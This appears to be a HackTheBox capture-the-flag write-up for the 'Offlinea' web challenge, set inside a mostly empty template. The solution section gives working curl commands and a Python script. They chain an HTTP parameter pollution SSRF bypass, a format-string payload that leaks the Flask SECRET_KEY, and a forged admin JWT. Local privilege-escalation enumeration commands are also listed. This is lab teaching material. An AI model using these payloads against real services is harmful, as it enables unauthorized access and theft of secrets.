Offlinea
Offlinea
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-31 | Status: Solved Techniques: hpp_ssrf_bypass, jwt_forgery, python_format_string_injection, secret_key_leak
Summary
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260131_hackthebox_offlinea - Tags: flask, ssrf, php, jwt, python, format_string, http_parameter_pollution
- Indicators: PHP + Flask dual service, URL parameter handling, .format() on user input, JWT authentication, SSRF protection bypass needed
- Source:
20260131_hackthebox_offlinea.md
Foothold
Vulnerability / Misconfiguration
- Hpp_ssrf_bypass
- Jwt_forgery
- Python_format_string_injection
- Secret_key_leak
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- hpp_ssrf_bypass
- jwt_forgery
- python_format_string_injection
- secret_key_leak
- Tags: flask, ssrf, php, jwt, python, format_string, http_parameter_pollution
Original Writeup
<details><summary>Click to expand original content</summary>Offlinea - HackTheBox
Description
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
Architecture
Two-service architecture:
- PHP Frontend (
bartender.phpon port 8000) - Accepts URL, name, secret parameters with SSRF protection - Flask Backend (
app.pyon port 5000) - Internal service with endpoints:
/generate- Visits URLs with Selenium, stores in database/bartender- Returns secrets (requires JWT withis_admin=true)/logs- Shows URL history with format string vulnerability
Analysis
Vulnerability 1: SSRF via HTTP Parameter Pollution (HPP)
PHP and Flask handle multiple URL parameters differently:
- PHP uses the LAST value:
$_GET['url'] - Flask uses the FIRST value:
request.args.get('url')
This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.
Vulnerability 2: Python Format String Injection
In the logify() function:
def logify(rec):
history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec]
history_1 = row_separator.join(history)
log = history_1.format(logify=logify) # VULNERABLE!
return log
URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.
Vulnerability 3: JWT Secret Key Leak
The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}
Solution
Step 1: SSRF Bypass via Parameter Pollution
curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"
- PHP validates
info.cern.ch(passes SSRF checks - public IP, TTL >= 40) - Flask visits
127.0.0.1:5000/logs(internal service)
Step 2: Format String Injection to Leak SECRET_KEY
# URL encode the format string payload
PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))")
curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"
This stores a URL with format string in history. When /logs is accessed, it leaks:
SECRET_KEY': '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'
Step 3: Forge JWT Token
#!/usr/bin/env python3
import jwt
SECRET_KEY = '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'
payload = {'is_admin': True, 'username': 'bartender'}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8
Step 4: Access Protected Endpoint via SSRF
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8" curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/bartender?token=$TOKEN&url=http://info.cern.ch/&name=test&secret=test"
Response contains:
{"secrets":[{"name":"oldest_user_of_bartender","secret":"HTB{REDACTED}"},...]}
Attack Chain Summary
HPP SSRF Bypass -> Format String Injection -> SECRET_KEY Leak -> JWT Forgery -> Admin Access -> Flag
References
- HTTP Parameter Pollution: Different frameworks parse duplicate params differently
- Python format string:
{obj.__globals__}leaks global namespace - JWT: HS256 tokens can be forged with known secret
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR